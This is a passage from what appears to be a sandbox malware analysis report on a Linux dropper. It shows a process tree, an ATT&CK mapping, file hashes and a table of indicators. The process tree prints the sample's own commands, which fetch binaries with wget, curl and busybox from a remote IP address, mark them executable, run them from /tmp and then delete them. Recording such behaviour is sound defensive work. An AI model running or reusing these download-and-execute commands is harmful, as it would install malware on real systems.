  /bin/busybox wget http://216.126.231.240/bins/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  PID:966
- /bin/chmod
  chmod 777 k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  ./k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  PID:969
- /usr/bin/wget
  wget http://216.126.231.240/bins/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  PID:972
- /bin/chmod
  chmod 777 yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  ./yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  PID:975
- /usr/bin/wget
  wget http://216.126.231.240/bins/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  PID:976
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  PID:978
- /bin/chmod
  chmod 777 xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  ./xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  PID:981
- /usr/bin/wget
  wget http://216.126.231.240/bins/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  PID:982
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:983
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  PID:984
- /bin/chmod
  chmod 777 t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /tmp/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  ./t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  - Executes dropped EXE
  PID:986
- /bin/rm
  rm t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  PID:987

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv

Path /tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv	746	b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
/tmp/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM	752	ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
/tmp/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB	778	a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
/tmp/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay	809	rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
/tmp/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr	815	k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
/tmp/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE	838	yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
/tmp/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5	857	xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
/tmp/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe	863	t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
/tmp/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO	869	xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
/tmp/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa	878	kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
/tmp/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM	884	rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
/tmp/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy	890	eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
/tmp/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc	896	fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
/tmp/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a	902	Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
/tmp/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO	908	xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
/tmp/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa	914	kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
/tmp/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM	920	rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
/tmp/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy	926	eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
/tmp/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc	932	fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
/tmp/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a	938	Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
/tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv	944	b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
/tmp/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM	950	ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
/tmp/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB	956	a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
/tmp/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay	962	rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
/tmp/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr	968	k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
/tmp/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE	974	yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
/tmp/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5	980	xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
/tmp/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe	986	t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe